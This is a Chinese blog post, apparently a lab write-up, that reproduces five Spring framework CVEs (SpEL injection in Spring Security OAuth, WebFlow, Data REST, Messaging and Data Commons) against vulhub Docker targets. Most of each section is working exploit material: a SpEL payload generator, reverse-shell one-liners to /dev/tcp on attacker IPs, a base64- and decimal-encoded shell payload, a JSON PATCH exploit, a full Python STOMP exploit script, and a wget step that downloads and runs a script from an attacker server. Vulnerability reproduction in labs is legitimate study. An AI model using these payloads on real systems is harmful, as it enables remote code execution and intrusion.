• spring框架历史漏洞复现


    目录

    一、docker

    1.启动docker

    2.列出容器

    3.关闭容器

    4.进入docker

    二、CVE-2016-4977

    原理:

    1.登陆

    2.访问url

     3.构造payload

    4.测试

    5.反弹shell

     6.编码后的命令结合poc

     三、CVE-2017-4971

    原理:

    1.初始界面

    2.burp抓包

    3.post提交payload

    4.成功反弹

    四、CVE-2017-8046

    原理:

    1.验证漏洞

    2.burp抓包

    3.反弹shell

    (1)bash -i产生交互shell

     (2)burp构造语句

    (3)监听端口反弹成功

    五、CVE-2018-1270

    1.原理:

    2.版本:

    3.exp:

    4.复现

    六、 CVE-2018-1273

    1.原理

    2.可能存在版本

    3.复现

    (1)访问

    (2)burp抓包加入payload

    (3)docker内查看

     (4)反弹shell


    一、docker

    1.启动docker

    sudo docker-compose up -d

    2.列出容器

    sudo docker ps

    3.关闭容器

    sudo docker stop docker-name

    4.进入docker

    docker exec -it docker-name /bin/bash

    二、CVE-2016-4977

    原理:

    Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

    1.登陆

    2.访问url

    http://192.168.29.132:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

    随便搞个用户名密码,出现以下界面,证明有spring漏洞

     3.构造payload

    poc代码:

    1. message = input('Enter message to encode:')
    2. poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
    3. for ch in message[1:]:
    4. poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
    5. poc += ')}'
    6. print(poc)

     生成了payload代码

    4.测试

    显示出unixprocess@629f0be表示成功的执行了我们输入的命令whoami

    5.反弹shell

    需要进行绕过exec()变形

    bash -i >& /dev/tcp/192.168.1.2/5555 0>&1

     最后一个&表示1是标准输出,而不是文件

     6.编码后的命令结合poc

    再次在response_type处进行payload的注入,拿到一个root的shell

     三、CVE-2017-4971

    原理:

    Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),肯定常用于购物网站,可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

    1.初始界面

    2.burp抓包

    进行登录,一步步预定,confirm处抓包即可

    3.post提交payload

    要经过url编码

    _(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.0.105/5555+0>%261")).start()=vulhub

    4.成功反弹

    四、CVE-2017-8046

    原理:

    官方:Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST API的Patch方法中(实现[RFC6902](https://tools.ietf.org/html/rfc6902)),json数据中的path的值被传入`setValue`,导致执行了SpEL表达式,触发远程命令执行漏洞。

    Spring-Data-REST-RCE(CVE-2017-8046),Spring Data REST对PATCH方法处理不当,导致攻击者能够利用JSON数据造成RCE。本质还是因为spring的SPEL解析导致的RCE

    1.验证漏洞

    输入/customers/1 出现以下界面就是有漏洞

    2.burp抓包

    3.反弹shell

    (1)bash -i产生交互shell

    bash -i >& /dev/tcp/192.168.0.105/5555 0>&1

    转换后的payload

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA1LzU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i}

    而且在源码中的注入位置要求是十进制,所以转化为十进制

    ",".join(map(str, (map(ord,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA1LzU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i}"))))
    98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,65,117,77,84,65,49,76,122,85,49,78,84,85,103,77,68,52,109,77,81,111,75,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125

     (2)burp构造语句

    1. [
    2. { "op": "replace",
    3. "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,73,53,76,106,69,122,77,105,56,49,78,84,85,49,73,68,65,43,74,106,69,75,67,103,111,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname",
    4. "value": "vulhub"
    5. }
    6. ]

    (3)监听端口反弹成功

    五、CVE-2018-1270

    1.原理:

    官方:spring messaging为spring框架提供消息支持,其上层协议是STOMP,底层通信基于SockJS,在spring messaging中,其允许客户端订阅消息,并使用selector过滤消息。selector用SpEL表达式编写,并使用`StandardEvaluationContext`解析,造成命令执行漏洞。

    Spring Messaging 命令执行漏洞(CVE-2018-1270),Spring框架中的 spring-messaging 模块提供了一种基于WebSocket的STOMP协议实现,STOMP消息代理在处理客户端消息时存在SpEL表达式注入漏洞,攻击者可以通过构造恶意的消息来实现远程代码执行。

    2.版本:

    Spring Framework 5.0 - 5.0.5 Spring Framework 4.3 - 4.3.15

    3.exp:

    有大佬写好的exp,所以直接利用即可

    1. #!/usr/bin/env python3
    2. import requests
    3. import random
    4. import string
    5. import time
    6. import threading
    7. import logging
    8. import sys
    9. import json
    10. logging.basicConfig(stream=sys.stdout, level=logging.INFO)
    11. def random_str(length):
    12. letters = string.ascii_lowercase + string.digits
    13. return ''.join(random.choice(letters) for c in range(length))
    14. class SockJS(threading.Thread):
    15. def __init__(self, url, *args, **kwargs):
    16. super().__init__(*args, **kwargs)
    17. self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
    18. self.daemon = True
    19. self.session = requests.session()
    20. self.session.headers = {
    21. 'Referer': url,
    22. 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
    23. }
    24. self.t = int(time.time()*1000)
    25. def run(self):
    26. url = f'{self.base}/htmlfile?c=_jp.vulhub'
    27. response = self.session.get(url, stream=True)
    28. for line in response.iter_lines():
    29. time.sleep(0.5)
    30. def send(self, command, headers, body=''):
    31. data = [command.upper(), '\n']
    32. data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
    33. data.append('\n\n')
    34. data.append(body)
    35. data.append('\x00')
    36. data = json.dumps([''.join(data)])
    37. response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
    38. if response.status_code != 204:
    39. logging.info(f"send '{command}' data error.")
    40. else:
    41. logging.info(f"send '{command}' data success.")
    42. def __del__(self):
    43. self.session.close()
    44. sockjs = SockJS('http://192.168.1.10:8080/gs-guide-websocket')
    45. sockjs.start()
    46. time.sleep(1)
    47. sockjs.send('connect', {
    48. 'accept-version': '1.1,1.0',
    49. 'heart-beat': '10000,10000'
    50. })
    51. sockjs.send('subscribe', {
    52. 'selector': "touch /tmp/success",
    53. 'id': 'sub-0',
    54. 'destination': '/topic/greetings'
    55. })
    56. data = json.dumps({'name': 'vulhub'})
    57. sockjs.send('send', {
    58. 'content-length': len(data),
    59. 'destination': '/app/hello'
    60. }, data)

    4.复现

    由于本机没有python3.6环境,所以直接在unbuntu用回环地址本机执行,可以看出在/tmp下创建了success文件。

    六、 CVE-2018-1273

    1.原理

    官方:Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

    Spring Data Commons远程命令执行(CVE-2018-1273),当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为Spel的执行内容而产生漏洞

    2.可能存在版本

    Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) Spring Data REST 2.6 - 2.6.10 (Ingalls SR10) Spring Data Commons 2.0 to 2.0.5 (Kay SR5) Spring Data REST 3.0 - 3.0.5 (Kay SR5)

    3.复现

    (1)访问

    http://192.168.29.132:8080/users

    (2)burp抓包加入payload

    这里是先执行一下touch /tmp/succcsddf,试一下能不能正常执行。

    (3)docker内查看

     (4)反弹shell

    这个不能直接命令执行来用bash -i 产生交互shell来反弹,我们在kali上构造一个bash.sh并开启一个http服务。

    利用这个命令来下载bash.sh

    /usr/bin/wget -qO /tmp/1 http://192.168.0.100:80/bash.sh

    然后用下列命令来执行bash.sh

    /bin/bash /tmp/1

    成功执行反弹shell

  • 相关阅读:
    配置OSPF路由
    回顾 | E³CI效能认知与改进论坛,助力企业研发效能度量和提升
    【老生谈算法】matlab实现蚁群算法源码——数值计算
    【LearnOpenGL基础入门——2】搭建第一个OpenGL窗口
    数据可视化之百变柱状图
    table的基本用法
    利用python中if函数判断三角形的形状
    深入理解 Django 信号机制
    python爬虫:JavaScript 混淆、逆向技术
    Git入门实战教程之创建版本库
  • 原文地址:https://blog.csdn.net/weixin_54431413/article/details/125414695